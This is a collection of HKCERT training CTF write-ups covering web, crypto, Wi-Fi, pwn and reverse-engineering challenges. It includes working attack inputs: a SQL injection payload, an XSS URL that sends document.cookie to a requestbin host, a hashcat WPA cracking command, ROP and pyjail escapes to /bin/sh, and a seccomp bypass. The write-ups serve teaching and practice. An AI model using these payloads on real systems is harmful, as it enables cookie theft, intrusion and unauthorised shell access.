Writeup Author: @hoifanrd#4246
Category: web
As we can see, the website use GET to get the field user and pass. If the both fieids are set, it will first create a BLANK SQLite table. Then it will do a single query from that black table, to see if the query return value equals a specfic value. A worth note point is that the table is a blank table. How could it return value other than NULL? So we know that this is a SQL Injection challenge (Reference: CTF Wiki). We could also see that we have to satisfiy the situation of Flag 1 and 2 in order to get Flag 3. In other words, we get Flag 1 and 2 if we can get Flag 3. Let's see at what situation we can get Flag 3!
If we could satisfy this statement, then we could get Flag 1, 2 and 3!
==
===
If you play Web Challenge much, this is actually a easy task. You could notice that the statement is using the ==
operator but not the ===
operator! By PHP manual, $a === $b
will return TRUE if $a is equal to $b, and they are of the same type (identical). While$a == $b
will return TRUE if $a is equal to $b after type juggling. It means that the type of the operand will change if they are not the same type. Therefore, when a string
is compared with a int
value by the ==
operator, the string
will be converted to int
! Following the conversion rule, if the string
is not started with a numeric value, it will be converted to 0.
In this task, md5($pass)
, $user
and $pass
are all string
. Therefore, if they are compared with a numeric value, all of them will be converted to 0! So just do the injection to make the SQL query return 0 and we will get all 3 flags! Easy points, huh?
The final payload will be:
$user: ' UNION SELECT 0 --
while $pass can be anything (just don't make it and it's md5 start with numeric value).
And this will make the final query be:
Payload URL: http://chal.training.hkcert21.pwnable.hk:6001?user=' UNION SELECT 0 -- &pass=anything
Writeup Author: @MW#8078
Category: crypto
Future people bring us time inversion and quantum computers. Try to decrypt the ciphertext to get the flag.
Ciphertext: 6255c24aa3dd8f58c5fcb41feb90f90e73e870db651d5a963498f062c2c1572430098acf05
enc.py file
From the python code, we could observe that a string(the flag) is encrypted using double AES(mode=ctr) and being printed which should be the ciphertext provided in the question
I first look up how does AES(CTR mode) works, it seems that we need key + counter(initial value) to decrypt the ciphertext
Luckly we were given the counter plus we can see that the key is a hex constructed with 13 leading 0s and a 3 random byte (each byte have 2 hex digit which have 16^2=256 combinations) i.e. much better than 128bit
To brute force one key it only takes maximum 16^6 times which should be possible
But the flag is double encrypted.
My first attempt is to construct all posibility of another key(16^6) for each of (16^6)key1 the total combination is 16^12 which should take quite some time.
But this seems to take too long to compute…
Then I came accross this term meet-in-the-middle attack about realted to AES n DES and remind me of the hint of this question
https://en.wikipedia.org/wiki/Meet-in-the-middle_attack
With meet in the middle attack, we can reduce the time complexity of bruteforcing the key from O(n^2) (let n be 161616) to O(nlgn)(sort) or O(n)(hashing) which significantly reduce the computation needed
But for a meet-in-the-middle attack, we need both the plain text and ciphertext to find the key.
We dont know the exact plain text, but we knew that the plaintext should have a prefix of 'hkcert20{' which allow us to use MiM attack. We could use this as our plaintext and encrypt it for every possible key(161616) to contruct a lookup table
Then use another seperated loop to bruteforce key2(161616) and decrypt the ciphertext with it, for each decrypted text check if there is a ecrypted prefix have the same first x byte.
We could find both key by that
Just decrypt the ciphertext with both keys and we will get the flag:
My code definitely could be optimised but its just a ctf, just make sure the time complexity for the bruteforce is reasonable and let it run for some time
Writeup Author: @RedTea#0001
Category: iot, wi-fi
A hacker captured the handshake packets of targeted Wi-Fi network. He wanted to hack the Wi-Fi router. The attached file is the captured packets.
First, the hacker needs to get the Wi-Fi password. What is the password?
一個黑客抓取到目標Wi-Fi網絡的訊息交換封包。他想入侵這個Wi-Fi路由器。附件是抓取到的封包。
首先,該黑客需要得到該Wi-Fi的密碼。請問密碼是什麽?
Flag Format: 旗幟格式: hkcert20{}
Hint (Deduct half of the score of this challege): The regular expression of the Wi-Fi password is CTF[0-9]{8}. 該Wi-Fi密碼的正規表達式是CTF[0-9]{8}。
This challenge is from Hong Kong Cyber Security New Generation Capture the Flag Challenge 2020
first, convert the WiFi_Packet_1.cap
to the 'hc22000' with this site
then run this command .\hashcat.exe -m 22000 -a 3 ./32335_1635344280.hc22000 CTF?d?d?d?d?d?d?d?d
now, we got CTF81056060
, flag!
hkcert20{CTF81056060}
Writeup Author: ??
Category: web, 手把手教你玩
Do you really need writeup for this challenge?
See the challenge description.
TL;DR?
Send https://infantxss.training.hkcert21.pwnable.hk/#%3Cscript%3Elocation.href='https://your-requestbin/?'+document.cookie%3C/script%3E
to XSS Bot.
hkcert21{Infant_XSS_flag_932fad2fd2a9118b}
Writeup Author: @Mystiz ✔✔#1337
Category: crypto
By reading the source code (snippeted below), we see that there are two accounts:
The credentials are respectively,
When we sign in with the guest account, we are able to get the below message:
There is also a token set inside the cookie.
From the source code, we can see that it is the ciphertext of
encrypted with AES-CBC and encoded with base64.
We can split the token into three blocks: , and . Mathematically,
We know all of , , (from the token) and , (the plaintext). In particular, wewould like to switch from is_admin=0&usern
to is_admin=1&usern
.
To achieve this, we can flip the 10th character of by 1. After all the forged token will be:
Replacing the token by typing the below code snippet to the developer’s console:
Writeup Author: @bottom#9751
Category: pwn
Original Post: https://hackmd.io/@1ptrKd-hTF-40MNeKRIoSw/SyoKb1v8t#rop
Use checksec
to check the protection
Here we can see only he Non executable stack protection (NX) is enabled which means we can not directly execute the shellcode in stack
Use software to disassembly the binary file such as ida / Ghidra.
My option is Ghidra.
After the analyis the binary in Ghidra, we find the main function from entry point and decomplie the main function
If you are a pwn player, you would instantly find that there has a very vulnerable function gets
used in the program
gets
is vulnerable because the user can input any length of data. It may cause a vulnerability called Buffer overflow.
If we can overflow the data to control the program return addres, we can control execution flow of this program.
Remember the protection we have checked before. This program has not opened PIE. Therefore, we can directly find the function address in the program.
Let's debug it using GDB
First we can randomly fill some data in the program.
Here I fill 'A' * 100 into the program.
The program will have the SIGSEGV and stopped
We can see that in rsp we still have a lot of "A" which means we successfully can use the buffer overflow to overwrite the return address.
After a few testing, we can find that the offset before the return address is 56.
If we use ldd
to check, it shows this binary is linked to the libc
Which means if we can leak address of the linked libc, we can execute the function within the libc through overwrite the return address.
We can build a rop chain to leak the libc address
First, we can use ROPgadget
to find our needed gadget
Here we use pwntools to do our exploit:
This rop chain will let program output the puts address in libc and return to main function again.
We get the byte \x10 \x8\x7f
which is the puts function address in libc
Then we can add some code with pwntools to convert it to be the readable number and calculate to libc base address.
After we return to the main function again and get the libc base address.
We can control the program call system("/bin/sh") to get the shell
Writeup Author: @MW#8078
Category: pwn
Find the input that make the program exit with exit code 0.
Hint: Google "angr"
angr_man (binary file)
we knew we need to google angr but first, lets take a look of our binary file
invalid size huh?
Lets use ghidra to disassemble it
found this function which prints what we see in the program
we can see that theres a if statement depending on the value of cVar1
we probably want to get the segment where it prints out 'It is the music of…'
the program was too complicated to be understanded for me, but this question itself tell us that we can solve it with angr
so i started to google what angr is, and what it can do to solve this challenge
Angr will do symbolic execution to find out what input could lead to the specific segment of code to execute, according to google
what we need to do is just to provide it the input size, type, and base address
this is what i found about the input size, it should be 0x21 = 33 in length
And we could see that our input is probably being verified and should be printable ascii code
We also need to find out the address that we want to reach('It is the…') and the address we want to advoid('bye')
And just use angr to write a python script, no, actually i literally find a sample script that we can use on their documentation LOL
We just need to specify all possible input and what output we want to find
I literally just copy from their sample and changed only at those statements that i bolded siu444
https://github.com/angr/angr-doc/blob/master/examples/b01lersctf2020_little_engine/solve.py
It tooks about 37seconds to run and get this easy flag
I actually dont know this template exisited when i attempt this question and wrote the following scripts that uses the address of the two print statement and let angr find which input could reach that address
Writeup Author: @kc#2232
Category: reverse
Find the input that make the program exit with exit code 0.
Tips (no mark deduction): Google "angr"
查找其輸入以令程序以退出代碼 0 退出。
這題的目的是要找出可以令程式用退出代碼 (exit code) 0退出。而題目提到 angr,只要略加 Google,就會找到一個叫 angr 的開源項目。很明顯,這題預期是要用到 angr 來解。
解壓縮題目附件的 .tgz
檔案會得到一個 angr_man
的 Linux 執行檔。
首先試試執行這個程式。在 Mac 或者 Windows 下以利用 Docker 很簡單地建立 Linux 虛擬執行環境。如果你是用 Linux 但不想影響你的OS,同樣也可以使用 Docker 來建立虛擬環境。
先安裝好 Docker,然後在 shell 執行:
這樣你就得到一個 Ubuntu 18.04 的虛擬環境,並且可以在這裡執行這個題目的程式。
觀察所知,這個程序 print 了兩句以法國大██為背景的著名音樂劇《悲慘世界》的歌曲 "Do You Hear The People Sing?" 的歌詞,然後等待用戶輸入。
先隨使輸入 testtest
再按 Enter 試試:
退出代碼($?
)為 255,而題目要我們找到退出代碼為 0 的 input。
我們開始用 disassembler 拆解程式。我的電腦剛好有安裝,所以這裡我用了 Hopper Disassember,用 IDA Pro 也可以。
先找到 print invalid size
的地方。
集中看這裡:
猜這裡是檢查 input 的長度,0x20
即是 32,如果輸入長度不是 32 bytes 即返回 invalid size
。我們試試看:
這次就沒有了 invalid size
,所以我們得知這個程式是要輸入 32 bytes。
往下一點看會看到另一段會 print invalid char
的程序。
它在檢查 input 的字元是不是在 0x21 至 0x7e 的範圍內,即是可列印的 ASCII 編碼範圍。
我們再試一下輸入一個空格:
不出所料,程式返回 invalid char
。
再往下看,我們知道程式會對 input 做一些計算,但算法不簡單,用靜態分了解十分費時。但我們還是可以看到,當輸入了正確的答案時,程式會 print 另外兩句歌詞:
好的,現在我們已經知道這個程式要求輸入 32 個可列印的 ASCII 編碼字元,加上一個 0x0A
newline 字元,並且最後要得到以上的 output。
開首提過,這條題目要用到 Angr。我們看看官網怎樣介紹:
angr is a python framework for analyzing binaries. It combines both static and dynamic symbolic ("concolic") analysis, making it applicable to a variety of tasks.
Angr 是一個做 symbolic execution 的工具:
符號執行(英語:symbolic execution)是一種計算機科學領域的程序分析技術,通過採用抽象的符號代替精確值作為程序輸入變量,得出每個路徑抽象的輸出結果。這一技術在硬件、底層程序測試中有一定的應用,能夠有效的發現程序中的漏洞。
網上已經有很多 angr 的詳細教學,例如這個和那個,這裡就不再重複了,我們直接來看這題的解法。
在 Docker 環境可以這樣安裝 angr。
我們會用 angr 來窮舉出這個程式的所有可行執行路徑。注意這個並非窮舉所有可能的 input,而且要窮舉 32 個字元明顯是不可行的。angr 是用 symbolic execution 的方式,直接去找能夠導致不同結果的 input,然後在這些執行路徑中,找出那個是我們想要的最後結果就可以了。
執行這個程式,大約一分鐘之後就會得出結果:
因為這個 CTF 的 flag format 都是 hkcert20{...}
,這個 input 很可能就是這題的 flag。我們即管輸入這個試一試:
Writeup Author: @bottom#9751
Category: pwn
Original Post: https://hackmd.io/@1ptrKd-hTF-40MNeKRIoSw/SyoKb1v8t#fail-of-seccomp
The challenge provide the c soruce code file to us, so we no need to use the decomplier.
After reading the source code. We can find that the program has protected by seccomp. Seccomp allowed the programe to call the predetermined syscall which we can find in set_seccomp
function.
And other important thing is the program will read our input into a executable memory region and execute our input as shellcode.
I noticed that this program allow us to call open
, read
and write
We can build the shellcode be like:
We can get our flag now right?
But the seccomp_rule only allow us to use 0 as the first arugment in read.
However, we can close the fd 0 first and call open("./flag.txt", 0)
The fd will become 0. We can use read(0, buf, 100);
to read the content of the flag now!
In the final exploit, I chose rsp to be the buffer space.
Writeup Author: @khlung#1057
Category: pwn
Give me the expression and I will return the answer.
nc chal.training.hkcert21.pwnable.hk 6009
After unzipping the pyjail0_77608c05d70608758b3e5299101b6625.zip
file, there are some files:
chall.xinetd
: it is a server program to handle connections from nc
, not really a part of the challengeDockerfile
: shows and help to rebuild the linux enviornment that running the challenge, not really a part of the challengesrc/chll.py
: this is the main part of the challengesrc/flag.txt
: a fake flag, real flag should be on the server sideIt seems that the only file that have to investiage is src/chall.py
, others are more like the config files, which are irrelevant to the challenge in most of the cases unless you want to simulate the enviroment, e.g. python version.
Ok, let's get dig deep into chall.py
.
The code is short and the logic is straight forward:
Besides, the input cannot include the word import or the program will exit.
From Dockerfile
, we know flag.txt
is located in the same folder, but if we only follow the logic of chall.py
, there are no way to print the content of flag.txt
, thus we need some more other than the challenge logic.
If you don't have any idea on how to deal with the challenge, the common practice is to google the challenge name or the keywords from challenge description. However, the challenge name and challenge description is not helpful =_=
If you google somethings like python ctf
, you could find a lot of helpful resources about this challenge.
Eval is a powerful built-in function in python, and eval user input is dangerous.
You can do a lot with eval: e.g. call other built-in function
Calling Open('flag.txt')
works! We have the file, next step is to read.
Calling Open('flag.txt').read()
will return the content of flag.txt
Assume we don't know where is flag.txt
, or we don't know the name of the flag file, we can't use open
.
This challenge is a conventional python challenge called python jail escape, and the goal of this challenge type is to get the shell (/bin/sh).
One way to get the shell is by running os.system('/bin/sh')
from os
python module, but how can we get os
? By import
.
The code above can give us the shell, but
import
directly inside eval
import
in the input.Well… there are some workarounds:
__import__
instead of import
in eval
__import__('os').system('/bin/sh')
eval
inside eval
: eval("__impor"+"t__")
so that we can bypass the filterFinally we have eval("__impor"+"t__('os').system('/bin/sh')")
Then we can cat the flag even we don't know the flag filename
Writeup Author: @darkfloyd#6578
Category: reverse
x64DBG (but this binary you can use x32DBG), IDA
Static and dynamic analysis, assembly instruction, patch the binary and update EFLAG value.
When you open and execute the binary, it pops up a command box and requests your input:
If you input a wrong key, it will give you an error message with GoodBye:
It means we need to figure out the correct input sequence so as to get the flag.
Let us open IDA to check out the structure and find out any decision branch.
First of all, we can look for any readable strings and messages, that we can search from the binary, for example, in our challenge, there is “Welcome to New World!”.
If you have found that your address space does not start with 0x40 but another prefix, as the different systems can have different prefixes, you can just keep it as 0xNNMMMM in mind but the last four bytes (MMMM) offset is always aligned.
You can locate the message at 0x4011A1 from the above-disassembled code, you can simply input “space bar” and change the view from Control Flow Graph (CFG) to Disassembled Text View or vice versa.
Now we are looking for the decision branch into flag and error, we have found address 0x401299 can decide for us to whether we will get the flag or error message.
Decision block at 0x401299:
Error message at 0x4014A5:
Now we have a clearer idea and we need to input a sequence of characters such that we can get the block with flag executed.
At this point, we simply set up a breakpoint at the decision branch address and open the debugger and see how it goes, most likely, even the key is encrypted in the program, it will be decrypted when we run the program, hopefully, we can have a decrypted flag in the register.
In our write-up, we take x32DBG but you can use OllyDBG or others upon your preference.
Open the x32DBG
In "File", open the challenge binary, in our case it is rootkit_b437def04bc4b304bb8a18f5a9938375.exe, you will find this status.
Now, we can set the breakpoint of the decision block at 0x401299. But when we look at the debugger, the address has no 0x40 as the prefix but 0xc6 instead. At this point, we should understand the address space may not be the same in static disassembling and when the binary is being executed, however, the offset remains the same. We have found instructions in 0xc61299 which is also the same as 0x401299, we should correctly locate the instruction or block we plan to set the breakpoint.
You can simply toggle the breakpoint with F2 or right-click the address -> Breakpoint -> Toggle, once you have found the breakpoint is set, it highlights in red color in the address, at the same time, you can click F2 again to remove the breakpoint.
Setting up breakpoint:
cmp esi
, edi
, which is compared to our input data and the flag, which will return the comparison result to ZF (Zero Flag) in EFLAG, if the comparison is equal, the ZF is set as 1, otherwise, 0. We need to set a breakpoint a few more instructions (0xc61287) and see whether we can find out any flag stored in the register(s) before the decision jump:This is relatively difficult as you are required to perform the following techniques:
Please read over the following IDA Control Flow Graph, I have highlighted the path with nodes in yellow and the goal block in pink:
You can simply open the executable with a debugger:
NOP instructions from 0xNN13DD to 0xNN13E5, where NN will change in different memory spaces, in my screenshot, it is "F0":
The reason to patch is that it gives stoi
out of range error, I simply patch the following two instructions as NOP in debugger when I am running the program:
Now we safely land at 0xNN13E6, remember to set the breakpoint before you approach there by referencing to IDA control flow graph:
We need to ensure we can jump to 0xNN1423 as shown in the below figure, you can set the breakpoint at 0xNN13F5 and change the ZF value. Here are important concepts about the value of setting EFlag values (https://faydoc.tripod.com/cpu/jb.htm and
https://stackoverflow.com/questions/14267081/difference-between-je-jne-and-jz-jnz)
Once we land at 0xNN1423, we need to land to 0xNN1427, and we set a breakpoint at the jump instruction and update the ZF value and ensure we can redirect to:
At 0xNN1427 node, we don’t need to update any instruction as there is a flow to the 0xNN1440.
We can then continue to click F8 step through until reaching the pink block at 0xNN144D:
Pay attention to the esi, edi, and ecx registers as well, when reaching 0xNN1448, you can find there is a flag-like string pointed by esi register (_but_e4sy_t0_gu3ss
)
When you keep clicking F8 step over per instruction, you can see the “}”, it should be a second part of the flag. Continue to click F8, you can finally find the second part of flag clearly in EDX register:
Finally, when you keep stepping over until 0xNN1464, you can find the second part of the flag displayed in the command box and complete it in 0xNN1481:
Thank you for your playing of this challenge. Enjoy and hopefully, you can learn some techniques.
Darkfloyd
We would like to thank all who tried the 10 challenges on the training platform. There are some challenges that no one plays on last year.
We would also like to give a big hand to the followings who shared their write-up to us (listed in alphabetic order):
Stay tuned for HKCERT CTF 2021 from 12th Nov to 14th Nov.
HKCERT CTF 2021